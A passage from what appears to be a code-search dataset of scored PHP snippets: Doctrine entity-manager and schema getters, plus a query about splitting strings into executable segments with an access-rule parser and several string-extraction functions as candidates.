SchemaBuilder\n {\n return $this->getContainer()[SchemaBuilder::class];\n }", "title": "" }, { "docid": "6aca727e8495f91e8b34ec5922c36e72", "score": "0.57073134", "text": "public static function connection($name)\n {\n return static::$app['db']->connection($name)->getSchemaBuilder();\n }", "title": "" }, { "docid": "7116b99e79b354e2273ca4ac3b7a0981", "score": "0.5699453", "text": "abstract protected function getDoctrine(): ManagerRegistry;", "title": "" }, { "docid": "269b7e9f575dfd2009c22cd7d96dd887", "score": "0.5695627", "text": "public function getConnection($name = null)\n {\n return $this->entityManager->getConnection();\n }", "title": "" }, { "docid": "f9f15f1705d8a631407b809f835f7c1a", "score": "0.5693803", "text": "private function getEntityManager()\n {\n if ($this->em === null) {\n $this->em = $this->container->get('doctrine')->getManager();\n }\n return $this->em;\n }", "title": "" }, { "docid": "c0953bab703e9ff855bb48a78691d5a6", "score": "0.5692568", "text": "protected function getDoctrine()\n {\n if (!$this->container->has('doctrine'))\n throw new \\LogicException('The DoctrineBundle is not registered in your application.');\n\n return $this->container->get('doctrine');\n }", "title": "" }, { "docid": "1d3e88bc9d116c48c41a6756de5a70c4", "score": "0.56892186", "text": "protected function getEntityManager()\n {\n $em = $this->getServiceLocator()->get('doctrine.entitymanager.orm_default');\n return $em;\n }", "title": "" }, { "docid": "f64ca4d966e57bd010b5d7e2e4cedc6a", "score": "0.5677174", "text": "public function getEntityManager()\n {\n if (!isset($this->entityManager)) {\n $this->recreateEntityManager();\n }\n return $this->entityManager;\n }", "title": "" }, { "docid": "f48a1cedaba224d7685d5fd83fb64ba7", "score": "0.5668103", "text": "public function getEntityManager()\n {\n if (null === $this->entityManager)\n $this->setEntityManager($this->getServiceManager()->get('Doctrine\\ORM\\EntityManager'));\n return $this->entityManager;\n }", "title": "" }, { "docid": "56e9dd9443784882e7ed9390b087f427", "score": "0.56565636", "text": "protected function getObjectManager()\n {\n return $this->managerRegistry->getManager($this->managerName);\n }", "title": "" }, { "docid": "5e9d780042d7a5c2e5995fb489ed9c82", "score": "0.5644716", "text": "public function getConnectorManager()\n {\n if (empty($this->connectorManger)) {\n $this->connectorManager = new ConnectorManager();\n }\n return $this->connectorManager;\n }", "title": "" }, { "docid": "48264f8bbcbcffe09271f0f39dcfb375", "score": "0.56445336", "text": "public function getEntityManager($emName = null);", "title": "" }, { "docid": "7739d35b86fbbf60786a0b7fc140dab0", "score": "0.563726", "text": "public function getEntityManager() {\n\t\tif (null === $this->em) {\n\t\t\t$this->em = $this->getServiceLocator()\n\t\t\t\t\t->get('doctrine.entitymanager.orm_default');\n\t\t}\n\t\treturn $this->em;\n\t}", "title": "" }, { "docid": "aea7c3e123d724a4d9ebfc28cad2d40f", "score": "0.5631", "text": "public function getEntityManager()\n {\n if (null === $this->em) {\n $this->em = $this->getServiceLocator()\n ->get('doctrine.entitymanager.orm_default');\n }\n return $this->em;\n }", "title": "" }, { "docid": "cd3aba76a3427038c8dd01daa4d7a233", "score": "0.5628686", "text": "public function getEntityManager()\n {\n return $this->em;\n }", "title": "" }, { "docid": "6d64e73d87520c394d80c9f48d42d1bb", "score": "0.56270766", "text": "protected function getDoctrine()\n {\n $container = $this->getContainer();\n if (!$container->has('doctrine')) {\n throw new \\LogicException('The DoctrineBundle is not registered in your application.');\n }\n\n return $container->get('doctrine');\n }", "title": "" }, { "docid": "9089c3c9462b2ecc6839a19b6b89666a", "score": "0.56176615", "text": "public function read()\r\n {\r\n $dataDict = Doctrine_Manager::getInstance()->getCurrentConnection()->getDataDict();\r\n\r\n $schema = new Doctrine_Schema(); /* @todo FIXME i am incomplete*/\r\n $db = new Doctrine_Schema_Database();\r\n $schema->addDatabase($db);\r\n\r\n $dbName = 'XXtest'; // @todo FIXME where should we get\r\n\r\n $this->conn->set(\"name\",$dbName);\r\n $tableNames = $dataDict->listTables();\r\n foreach ($tableNames as $tableName) {\r\n $table = new Doctrine_Schema_Table();\r\n $table->set(\"name\",$tableName);\r\n $tableColumns = $dataDict->listTableColumns($tableName);\r\n foreach ($tableColumns as $tableColumn) {\r\n $table->addColumn($tableColumn);\r\n }\r\n $this->conn->addTable($table);\r\n if ($fks = $dataDict->listTableConstraints($tableName)) {\r\n foreach ($fks as $fk) {\r\n $relation = new Doctrine_Schema_Relation();\r\n $relation->setRelationBetween($fk['referencingColumn'],$fk['referencedTable'],$fk['referencedColumn']);\r\n $table->setRelation($relation);\r\n }\r\n }\r\n }\r\n\r\n return $schema;\r\n }", "title": "" }, { "docid": "5aacd44709f64b445eccf468a2ea5acb", "score": "0.5612219", "text": "public static function getEntityManager() {\n if (!self::$_entityManager) {\n global $kernel;\n self::$_entityManager = $kernel->getContainer()->get('doctrine')->getManager();\n }\n return self::$_entityManager;\n }", "title": "" }, { "docid": "0e564a868583d4cb2f2762e11b6f25bc", "score": "0.5607075", "text": "public function getEntityManager()\n {\n if (null === $this->entityManager) {\n $this->entityManager = $this->getServiceLocator()->get('Doctrine\\ORM\\EntityManager');\n }\n return $this->entityManager;\n }", "title": "" }, { "docid": "338bc28d03fff14d2caaf22df6036b48", "score": "0.5602047", "text": "public function getEntityManager()\n {\n if (null === $this->em)\n {\n $this->em = $this->getServiceLocator()->get('Doctrine\\ORM\\EntityManager');\n }\n return $this->em;\n }", "title": "" }, { "docid": "48f93c9a658af282b3d937c66d6571cb", "score": "0.55919063", "text": "public function getEntityManager()\n {\n $this->entityManager = $this->refreshEntityManager($this->entityManager);\n\n return $this->entityManager;\n }", "title": "" }, { "docid": "d29887a721334c4ca2cd6bb9188bb573", "score": "0.5577944", "text": "protected function getEntityManager()\n {\n return $this->entityManager;\n }", "title": "" }, { "docid": "ab2cbf40ce19b1cc55687afdd77e53f8", "score": "0.5571515", "text": "public function getSchema(): Schema\n {\n if ($this->_schema === null) {\n $this->_schema = $this->_initializeSchema($this->getWebservice()->describe($this->getName()));\n }\n\n return $this->_schema;\n }", "title": "" }, { "docid": "fb487748b9200287357a5cfcd853698a", "score": "0.5563973", "text": "public function getEntityManager()\n\t{\n\t\treturn $this->em;\n\t}", "title": "" }, { "docid": "33072187c3f17c119d1cc5c6701c7766", "score": "0.55616796", "text": "public function getEntityManager()\r\n {\r\n if (null === $this->em) {\r\n $this->em = $this->getServiceLocator()->get('Doctrine\\ORM\\EntityManager') ;\r\n }\r\n return $this->em;\r\n }", "title": "" }, { "docid": "ce1459549e8e979ddc3cc64d18ca60a5", "score": "0.5557209", "text": "public function getEntityManager();", "title": "" }, { "docid": "5ad7c1e70c78d0ed8f7e1668ec1ad0ee", "score": "0.5555699", "text": "public function getGrammarManager(): Manager|null;", "title": "" }, { "docid": "ffa27f25fefec80749b81cfe038a07b7", "score": "0.5554342", "text": "private function getDM(){\n if (null === $this->dm){\n $connection = new Connection();\n $config = new Configuration();\n $config->setProxyDir(__DIR__ . '/../Documents/Proxies');\n $config->setProxyNamespace('Proxies');\n $config->setHydratorDir(__DIR__ . '/../Documents/Hydrators');\n $config->setHydratorNamespace('Hydrators');\n $config->setDefaultDB('saintSeya');\n $config->setMetadataDriverImpl(AnnotationDriver::create(__DIR__ . '/../Documents'));\n AnnotationDriver::registerAnnotationClasses();\n $this->dm = DocumentManager::create($connection, $config);\n }\n return $this->dm;\n }", "title": "" }, { "docid": "416de9fd0d5a6a004ae68308b99ee174", "score": "0.5552808", "text": "protected function getEntityManager()\n {\n if (null === $this->entityManager) {\n $this->setEntityManager($this->getServiceLocator()->get('Doctrine\\ORM\\EntityManager'));\n }\n return $this->entityManager;\n }", "title": "" }, { "docid": "84bf975d8cb318296a7810f67bde6dfd", "score": "0.5542287", "text": "public function getEntityManager(){\n return $this->entityManager;\n }", "title": "" }, { "docid": "1636c554a0d38dcb6f20789e0a2bdf56", "score": "0.55398065", "text": "public function getEntityManager($name = null)\n {\n $name = $name ? $name : 'doctrine.orm.entity_manager';\n return $this->get($name);\n }", "title": "" }, { "docid": "0799384d637f83f349538a5c65d58e18", "score": "0.55290264", "text": "public function getSchema(): Schema\n {\n if ($this->schema === null) {\n $this->schema = new Schema($this);\n }\n\n return $this->schema;\n }", "title": "" }, { "docid": "b5f99f52b214b250f7dc0817ff71734b", "score": "0.5525928", "text": "public function getDefaultGrammarManager(): Manager|null;", "title": "" }, { "docid": "ef76b45f28657f78a6d70f686c58189b", "score": "0.55062574", "text": "protected function getEntityManager()\n {\n return $this->getContainer()->get('doctrine.orm.entity_manager');\n }", "title": "" }, { "docid": "6edbc8cbdd558d10cb0b315c6b824282", "score": "0.5503495", "text": "protected function getDoctrine_Orm_DefaultManagerConfiguratorService()\n {\n return $this->services['doctrine.orm.default_manager_configurator'] = new \\Doctrine\\Bundle\\DoctrineBundle\\ManagerConfigurator(array(), array());\n }", "title": "" }, { "docid": "6edbc8cbdd558d10cb0b315c6b824282", "score": "0.5503495", "text": "protected function getDoctrine_Orm_DefaultManagerConfiguratorService()\n {\n return $this->services['doctrine.orm.default_manager_configurator'] = new \\Doctrine\\Bundle\\DoctrineBundle\\ManagerConfigurator(array(), array());\n }", "title": "" }, { "docid": "5daabd83487bc08c7ca35afe6b824d48", "score": "0.5488949", "text": "public function getObjectManager(){\n return $this->entityManager;\n }", "title": "" }, { "docid": "ae07415f546226ac77ad4fb5cbac105f", "score": "0.5483368", "text": "public static function entityManager($name = 'default')\n {\n if (isset(self::$entityManagers[$name])) {\n return self::$entityManagers[$name];\n }\n $databaseConnection = self::connection($name)->getDbalConnection();\n\n if (Configuration::get('app.env') == 'development') {\n $cache = new ArrayCache();\n } else { // @codeCoverageIgnore\n $cache = new FilesystemCache(Configuration::get('app.cache')); // @codeCoverageIgnore\n }\n\n $config = new \\Doctrine\\ORM\\Configuration();\n $config->setMetadataCacheImpl($cache);\n $driver = $config->newDefaultAnnotationDriver([APPPATH . 'Entity'], false);\n\n $config->setMetadataDriverImpl($driver);\n $config->setQueryCacheImpl($cache);\n\n $proxyDir = APPPATH . 'Proxy';\n $proxyNamespace = 'App\\Proxy';\n\n $config->setProxyDir($proxyDir);\n $config->setProxyNamespace($proxyNamespace);\n Autoloader::register($proxyDir, $proxyNamespace);\n\n $loggerChain = new LoggerChain();\n if (Configuration::get('app.env') == 'development') {\n $config->setAutoGenerateProxyClasses(true);\n\n $loggerChain->addLogger(new DoctrineLogBridge(\\Logger::getInstance()->getMonologInstance()));\n $loggerChain->addLogger(DebugBarHelper::getInstance()->getDebugStack());\n } else { // @codeCoverageIgnore\n $config->setAutoGenerateProxyClasses(false); // @codeCoverageIgnore\n }\n $em = EntityManager::create($databaseConnection, $config);\n\n $em->getConnection()->getConfiguration()->setSQLLogger($loggerChain);\n $em->getConfiguration()->setSQLLogger($loggerChain);\n\n self::$entityManagers[$name] = $em;\n return $em;\n }", "title": "" }, { "docid": "1eda2d34df064a236264dab7628d7a46", "score": "0.54569376", "text": "public function db () : Connection {\n return Manager::connection($this->connection());\n }", "title": "" }, { "docid": "22e199af70582c9a9f15bbf52282aa40", "score": "0.5452546", "text": "public function getManager()\n {\n return $this->manager;\n }", "title": "" }, { "docid": "22e199af70582c9a9f15bbf52282aa40", "score": "0.5452546", "text": "public function getManager()\n {\n return $this->manager;\n }", "title": "" }, { "docid": "22e199af70582c9a9f15bbf52282aa40", "score": "0.5452546", "text": "public function getManager()\n {\n return $this->manager;\n }", "title": "" }, { "docid": "6a64eb536e27e90919edad188d56f323", "score": "0.5451793", "text": "public function _initDoctrine() {\n require_once 'Doctrine.php';\n\n //Get a Zend Autoloader instance\n $loader = Zend_Loader_Autoloader::getInstance();\n\n //Autoload all the Doctrine files\n $loader->pushAutoloader(array('Doctrine', 'autoload'));\n\n //Get the Doctrine settings from application.ini\n $doctrineConfig = $this->getOption('doctrine');\n\n //Get a Doctrine Manager instance so we can set some settings\n $manager = Doctrine_Manager::getInstance();\n\n //set models to be autoloaded and not included (Doctrine_Core::MODEL_LOADING_AGGRESSIVE)\n $manager->setAttribute(\n Doctrine::ATTR_MODEL_LOADING, Doctrine::MODEL_LOADING_CONSERVATIVE);\n\n //enable ModelTable classes to be loaded automatically\n $manager->setAttribute(\n Doctrine_Core::ATTR_AUTOLOAD_TABLE_CLASSES, true\n );\n\n //enable validation on save()\n $manager->setAttribute(\n Doctrine_Core::ATTR_VALIDATE, Doctrine_Core::VALIDATE_ALL\n );\n\n //enable sql callbacks to make SoftDelete and other behaviours work transparently\n $manager->setAttribute(\n Doctrine_Core::ATTR_USE_DQL_CALLBACKS, true\n );\n\n //not entirely sure what this does :)\n $manager->setAttribute(\n Doctrine_Core::ATTR_AUTO_ACCESSOR_OVERRIDE, true\n );\n\n //enable automatic queries resource freeing\n $manager->setAttribute(\n Doctrine_Core::ATTR_AUTO_FREE_QUERY_OBJECTS, true\n );\n\n //connect to database\n $manager->openConnection($doctrineConfig['connection_string']);\n\n //set to utf8\n $manager->connection()->setCharset('utf8');\n\n return $manager;\n }", "title": "" }, { "docid": "24859de1ae56d54318099e2c3154bcfa", "score": "0.5448356", "text": "protected function getEntityManager()\n {\n return $this->em;\n }", "title": "" }, { "docid": "520356b0bfd4269036c8f8288b596f4c", "score": "0.54478914", "text": "protected function em()\n {\n return $this->getDoctrine()->getManager();\n }", "title": "" }, { "docid": "ac8e175922182a870d8d78ce5625efc4", "score": "0.54352075", "text": "public function getEntityManager($name = null)\n {\n // TODO: Implement getEntityManager() method.\n }", "title": "" }, { "docid": "976187f378b577493d61e31a17ce3d65", "score": "0.5434747", "text": "public function guessSchemaName()\n {\n return $this->schema ?: $this->database->getSchema();\n }", "title": "" }, { "docid": "e75ff73a601729f6f34f3b7d731f0a5e", "score": "0.54274255", "text": "public function getDocumentManager()\n {\n return $this->getObjectManager();\n }", "title": "" }, { "docid": "bda249e6bc551b9c5da9b138be92b185", "score": "0.541979", "text": "public function getDefaultManagerName()\n {\n return $this->entityManager;\n }", "title": "" }, { "docid": "949e3f432cfb7179b7e12d9711f6566f", "score": "0.5419197", "text": "public final function getModuleDoctrineService(): DoctrineService\n {\n return $this->moduleDoctrineService;\n }", "title": "" }, { "docid": "ae3a8776aa809430baaacf941999f880", "score": "0.5417443", "text": "public function getDBMS()\r\n\t{\r\n\t\treturn $this->dbms;\r\n\t}", "title": "" }, { "docid": "8031d3fa225c266753b64dc5957285da", "score": "0.54129916", "text": "public function getDatabase()\r\n {\r\n return $this->connector->getBusinessDatabase();\r\n }", "title": "" } ]
1acdb646a9748e11365a6508a7e2ec21
extract string into executable segments
[ { "docid": "593e969c2575a15c416ebbfee7741cd4", "score": "0.0", "text": "private function extractRule($rule)\n\t{\n\t\t$ruleSegments = array();\n\t\t$ruleOperators = array();\n\t\t$ruleLen = strlen($rule);\n\t\t// index of proceed\n\t\t$iop = 0;\n\n\t\t// scan the rule string char by char $ios index of scanned\n\t\tfor ($ios = 0;$ios<$ruleLen;$ios++)\n\t\t{\n\t\t\tswitch ($rule[$ios])\n\t\t\t{\n\t\t\t\tcase '&':\n\t\t\t\tcase '|':\n\t\t\t\t\tif ($iop<$ios)\n\t\t\t\t\t{\n\t\t\t\t\t\t$ruleSegments[] = trim(substr($rule,$iop,$ios-$iop));\n\t\t\t\t\t\t$iop = $ios+1;\n\t\t\t\t\t}\n\t\t\t\t\t$ruleOperators[] = $rule[$ios];\n\t\t\t\tbreak;\n\n\t\t\t\tcase '(':\n\t\t\t\t\t$nestedBracketCount = 0;\n\t\t\t\t\tfor ($j = $ios+1;$j<$ruleLen;$j++)\n\t\t\t\t\t{\n\t\t\t\t\t\tswitch ($rule[$j])\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase ')':\n\t\t\t\t\t\t\t\tif (0 === $nestedBracketCount)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$breaketEnd = $j;\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$nestedBracketCount--;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\tcase '(':\n\t\t\t\t\t\t\t\t$nestedBracketCount++;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif ($ruleLen === $j)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tthrow new AgsInvalidParamsException(__CLASS__.'::'.__FUNCTION__,array('invalidRule'=>$rule));\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t// push entire content of the outtest breaket but itself into segments\n\t\t\t\t\t$ruleSegments[] = trim(substr($rule,$ios+1,$breaketEnd-$ios-1));\n\t\t\t\t\t// move ios to breaket end\n\t\t\t\t\t$ios = $breaketEnd;\n\t\t\t\t\t// +2 cuz the ')' and the operater after ')'\n\t\t\t\t\t$iop = $ios+2;\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\t// reached string end\n\t\t\t// 抵达访问控制规则末端\n\t\t\tif ((($ruleLen-1 === $ios) && ($iop < $ruleLen))\n\t\t\t\t// the rest of first OR operator will be put in $this->_nextRule\n\t\t\t\t// so OR may be either the last orperator or not exist\n\t\t\t\t// 如果遇到 OR 操作符,那么控制规则剩下的部分都会放进 $this->_nextRule\n\t\t\t\t// 所以OR操作符要么是最后一个操作符要么不存在\n\t\t\t\t|| ('|' === $rule[$ios]))\n\t\t\t{\n\t\t\t\t$ruleSegments[] = trim(substr($rule,$iop));\n\t\t\t\t// leave scan loop\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\t$segCount = count($ruleSegments);\n\t\t// the leaf node of rules tree,has one and only one executable rule\n\t\t// 规则树的末端节点,有且只有一条可执行的规则\n\t\tif (1 === $segCount)\n\t\t{\n\t\t\t$this->_rule = current($ruleSegments);\n\t\t}\n\t\t// or split down into child\n\t\t// 否则继续分解\n\t\telse\n\t\t{\n\t\t\t// if the last operator is OR,the last rule should be proceed later\n\t\t\t// or all rules should be put in children\n\t\t\t// 如果最后一个操作符是OR,最后一条规则后面再处理\n\t\t\t// 否则所有的规则都放进子节点\n\t\t\tfor ($i = 0; $i < (('|' === end($ruleOperators))?($segCount-1):$segCount); $i++)\n\t\t\t{\n\t\t\t\t$this->_childRules[] = new AgsAccessRule(array_shift($ruleSegments));\n\t\t\t}\n\n\t\t\t// if still segment remain,it must be the OR rule\n\t\t\t// 如果还有规则段剩下,必然是那条OR规则了\n\t\t\tif (count($ruleSegments))\n\t\t\t{\n\t\t\t\t$this->_nextRule = new AgsAccessRule(array_pop($ruleSegments));\n\t\t\t}\n\t\t}\n\t}", "title": "" } ]
[ { "docid": "e5c856b0062993c56365d5d47bcd0221", "score": "0.5714732", "text": "function media_theplatform_mpx_extract_string($start_str, $end_str, $input) {\n $pos_start = strpos($input, $start_str) + strlen($start_str);\n $pos_end = strpos($input, $end_str, $pos_start);\n $result = substr($input, $pos_start, $pos_end - $pos_start);\n return $result;\n}", "title": "" }, { "docid": "79c055708b5cbbea783a966c7def0030", "score": "0.56957304", "text": "public function extract($string);", "title": "" }, { "docid": "a3d1969e82d8e0ffd97b0345a4a128f0", "score": "0.55359095", "text": "public function process($string);", "title": "" }, { "docid": "1755a37869c61bb2454624154ba72ac3", "score": "0.54578465", "text": "function extract_action_and_args($string) {\n\n if ('' === $string) {\n return array('index', array(), NULL);\n }\n\n // find optional file extension\n $format = NULL;\n if (preg_match('/^(.*[^\\/.])\\.(\\w+)$/', $string, $matches)) {\n list($_, $string, $format) = $matches;\n }\n\n // TODO this should possibly remove empty tokens\n $args = explode('/', $string);\n $action = array_shift($args);\n return array($action, $args, $format);\n }", "title": "" }, { "docid": "35747910c539142a580b05c949f9a682", "score": "0.52499175", "text": "public function extract($command);", "title": "" }, { "docid": "98bb601cd8f3c7ca2803d9a29b2b0bde", "score": "0.52304095", "text": "function extract_command_payload($text = '') {\n return mb_ereg_replace(\"^\\/[a-zA-Z0-9_]*( |$)\", '', $text);\n}", "title": "" }, { "docid": "d483a1df444331dcbfcd50e32a8d780d", "score": "0.51661897", "text": "function emvideo_dotsub_extract($parse = '') {\n // Here we assume that a URL will be passed in the form of\n // http://dotsub.com/view/730d7b48-532a-4ec2-a0c6-ba0ac47d611\n // or embed code in the form of <embed src=\"http://dotsub.com/static/players/portalplayer.swf?plugins=dotsub&uuid=730d7b48-532a-4ec2-a0c6-ba0ac47d6116&type=video&lang=eng\"\n\n return array(\n '@dotsub\\.com/view/([^\"]+)@i', \n '@dotsub\\.com/static/players/portalplayer.swf?plugins=dotsub&uuid=([^\\?]+)@i',\n );\n}", "title": "" }, { "docid": "06fa569acc2a5207aa6fdf3c7b37a3bf", "score": "0.51638466", "text": "function extractString($url, $start, $end) {\r\n $url = \" \".$url;\r\n $ini = strpos($url, $start);\r\n if ($ini == 0) return \"\";\r\n $ini += strlen($start);\r\n $len = strpos($url, $end, $ini) - $ini;\r\n return substr($url, $ini, $len);\r\n}", "title": "" }, { "docid": "adf78b15bf85cfef7a2b7f0c5b98a4ee", "score": "0.515255", "text": "function extractCommand( $str ) {\n\t\t$this->errno = 0;\n\t\t$this->errinfo = \"\";\n\t\t\n\t\tif( strstr( $str, \"OPEN\" ) ) {\n\t\t\t$command = \"OPEN\";\n\t\t}\n\t\telse if( strstr( $str, \"IN-LINE FIND\" ) ) {\n\t\t\t$command = \"INFIND\";\n\t\t}\n\t\telse if( strstr( $str, \"IN-LINE, FIND\" ) ) {\n\t\t\t$command = \"INFIND\";\n\t\t}\n\t\telse if( strstr( $str, \"FIND\" ) ) {\n\t\t\t$command = \"FIND\";\n\t\t}\n\t\telse if( strstr( $str, \"IN-LINE REPLACE\" ) ) {\n\t\t\t$command = \"INREPLACE\";\n\t\t}\n\t\telse if( strstr( $str, \"IN-LINE, REPLACE\" ) ) {\n\t\t\t$command = \"INREPLACE\";\n\t\t}\n\t\telse if( strstr( $str, \"REPLACE\" ) ) {\n\t\t\t$command = \"REPLACE\";\n\t\t}\n\t\telse if( strstr( $str, \"IN-LINE AFTER, ADD\" ) ) {\n\t\t\t$command = \"INAFTERADD\";\n\t\t}\n\t\telse if( strstr( $str, \"AFTER, ADD\" ) ) {\n\t\t\t$command = \"AFTERADD\";\n\t\t}\n\t\telse if( strstr( $str, \"IN-LINE BEFORE, ADD\" ) ) {\n\t\t\t$command = \"INBEFOREADD\";\n\t\t}\n\t\telse if( strstr( $str, \"BEFORE, ADD\" ) ) {\n\t\t\t$command = \"BEFOREADD\";\n\t\t}\n\t\telse if( strstr( $str, \"SAVE/CLOSE\" ) ) {\n\t\t\t$command = \"CLOSE\";\n\t\t}\n\t\telse if( strstr( $str, \"COPY\" ) ) {\n\t\t\t$command = \"COPY\";\n\t\t}\n\t\telse if( strstr( $str, \"SQL\" ) ) {\n\t\t\t$command = \"SQL\";\n\t\t}\n\t\telse if( strstr( $str, \"INCREMENT\" ) ) {\n\t\t\t$command = \"INCREMENT\";\n\t\t}\n\t\telse {\n\t\t\t$command = \"UNKNOWN\";\n\t\t}\n\t\t\n\t\treturn $command;\n\t}", "title": "" }, { "docid": "7c76c08792172fed95109f4127b3012b", "score": "0.5130547", "text": "function privExtractFileAsString(&$p_entry, &$p_string, &$p_options)\n {\n }", "title": "" }, { "docid": "9f73f1ff0b80c7bf2d6505c59c5edc91", "score": "0.5101029", "text": "function stringExtractor($string,$start,$end) {\n\t\n\t# Setup\n\tglobal $cursor; global $stringExtractor_results; $foundString = -1; $string = \" \".$string;\n\tif(!isset($stringExtractor_results)) $stringExtractor_results = Array();\n\t \t\t\n\t# Extract \t\t\n\twhile($foundString != 0) {\n\t\t$ini = strpos($string,$start,$cursor);\t\n\t\t$ini += strlen($start);\n\t\t$len = strpos($string,$end,$ini) - $ini;\n\t\t$cursor = $ini;\n\t\t$result = substr($string,$ini,$len);\n\t\tarray_push($stringExtractor_results,$result);\n\t\t$foundString = strpos($string,$start,$cursor);\t\n\t}\n\t\n\treturn $stringExtractor_results;\n\t\n}", "title": "" }, { "docid": "dab78c26615252d42ccf2920c14af1af", "score": "0.5092859", "text": "public function getExecutableCode(): string;", "title": "" }, { "docid": "248d45b7adecff203b500a261667bca8", "score": "0.49022645", "text": "static function extract_string($str){\n preg_match(\"((?<=\\[).*?(?=\\]))\",$str,$matches);\n \n return $matches[0];\n }", "title": "" }, { "docid": "b6bde62387c8e4d64d61d54edf4371de", "score": "0.4888815", "text": "protected function extract($content) {\n\t\t// load the content\n\t\t$content = $this->load ( $content );\n\t\t\n\t\t// initialize array that will contain all strings found in the code\n\t\t$strings = array ();\n\t\t$comments = array ();\n\t\t\n\t\t// loop all characters\n\t\tfor($i = 0; $i < strlen ( $content ); $i ++) {\n\t\t\t$character = $content [$i];\n\t\t\t\n\t\t\tswitch ($content [$i]) {\n\t\t\t\t// string demarcation: ' or \"\n\t\t\t\tcase '\\'' :\n\t\t\t\tcase '\"' :\n\t\t\t\t\t$stringOpener = $character;\n\t\t\t\t\t$string = $character;\n\t\t\t\t\t\n\t\t\t\t\t// process through content until we find the end of the\n\t\t\t\t\t// string\n\t\t\t\t\tfor($j = $i + 1; $j < strlen ( $content ); $j ++) {\n\t\t\t\t\t\t$character = $content [$j];\n\t\t\t\t\t\t$previousCharacter = isset ( $content [$j - 1] ) ? $content [$j - 1] : '';\n\t\t\t\t\t\t\n\t\t\t\t\t\t/*\n\t\t\t\t\t\t * Find end of string: - string started with double\n\t\t\t\t\t\t * quotes ends in double quotes, likewise for single\n\t\t\t\t\t\t * quotes. - unterminated string ends at newline (bad\n\t\t\t\t\t\t * code), unless newline is escaped (though nobody knows\n\t\t\t\t\t\t * this.)\n\t\t\t\t\t\t */\n\t\t\t\t\t\tif (($stringOpener == $character && $previousCharacter != '\\\\') || (in_array ( $character, array (\n\t\t\t\t\t\t\t\t\"\\r\",\n\t\t\t\t\t\t\t\t\"\\n\" \n\t\t\t\t\t\t) ) && $previousCharacter != '\\\\')) {\n\t\t\t\t\t\t\t// save string\n\t\t\t\t\t\t\t$replacement = '[MINIFY-STRING-' . count ( $strings ) . ']';\n\t\t\t\t\t\t\t$strings [$replacement] = substr ( $content, $i, $j - $i + 1 );\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// replace string by stub\n\t\t\t\t\t\t\t$content = substr_replace ( $content, $replacement, $i, $j - $i + 1 );\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// reset pointer to the end of this string\n\t\t\t\t\t\t\t$i += strlen ( $replacement );\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t\n\t\t\t\t// comment demarcation: // or /*\n\t\t\t\tcase '/' :\n\t\t\t\t\t$commentOpener = $character . (isset ( $content [$i + 1] ) ? $content [$i + 1] : '');\n\t\t\t\t\t\n\t\t\t\t\t/*\n\t\t\t\t\t * Both comment opening tags are 2 characters, so grab the\n\t\t\t\t\t * next character and verify we're really opening a comment\n\t\t\t\t\t * here.\n\t\t\t\t\t */\n\t\t\t\t\tif (in_array ( $commentOpener, array (\n\t\t\t\t\t\t\t'//',\n\t\t\t\t\t\t\t'/*' \n\t\t\t\t\t) )) {\n\t\t\t\t\t\t// process through content until we find the end of the\n\t\t\t\t\t\t// comment\n\t\t\t\t\t\tfor($j = $i + 1; $j < strlen ( $content ); $j ++) {\n\t\t\t\t\t\t\t$character = $content [$j];\n\t\t\t\t\t\t\t$previousCharacter = isset ( $content [$j - 1] ) ? $content [$j - 1] : '';\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t/*\n\t\t\t\t\t\t\t * Find end of comment: - // single line comments\n\t\t\t\t\t\t\t * end at newline. - /* multiline comments and at\n\t\t\t\t\t\t\t * their respective closing tag, which I can't use\n\t\t\t\t\t\t\t * here or it'd end this very comment.\n\t\t\t\t\t\t\t */\n\t\t\t\t\t\t\tif (($commentOpener == '//' && in_array ( $character, array (\n\t\t\t\t\t\t\t\t\t\"\\r\",\n\t\t\t\t\t\t\t\t\t\"\\n\" \n\t\t\t\t\t\t\t) )) || ($commentOpener == '/*' && $previousCharacter . $character == '*/')) {\n\t\t\t\t\t\t\t\t// save comment\n\t\t\t\t\t\t\t\t$replacement = '[MINIFY-COMMENT-' . count ( $comments ) . ']';\n\t\t\t\t\t\t\t\t$comments [$replacement] = substr ( $content, $i, $j - $i + 1 );\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t// replace comment by stub\n\t\t\t\t\t\t\t\t$content = substr_replace ( $content, $replacement, $i, $j - $i + 1 );\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t// reset pointer to the end of this string\n\t\t\t\t\t\t\t\t$i += strlen ( $replacement );\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn array (\n\t\t\t\t$content,\n\t\t\t\t$strings,\n\t\t\t\t$comments \n\t\t);\n\t}", "title": "" }, { "docid": "7e4b4c6ddfe5473c68d6e3419bc07064", "score": "0.48807463", "text": "public function execute($string){\n $string = trim($string);\n if(strpos($string, \"\\n\") !== -1){\n $lines = explode(\"\\n\",$string);\n //print_r($lines);\n $linemax = count($lines);\n $linecount = 0;\n $skipnext = false;\n foreach($lines as $line){\n if(strpos($line, \"s \") === 0){\n $sayvalue = str_replace(\"s \", \"\", $line);\n if($linecount != $linemax-1 && !$this->startswithcommand($lines[$linecount + 1])){\n $sayvalue .= $this->endofline . $lines[$linecount+1];\n }\n $sayvalue = strpos($sayvalue, '/lb/') !== -1 ? str_replace(\"/lb/\", $this->endofline, $sayvalue) : $sayvalue;\n //$endsay = 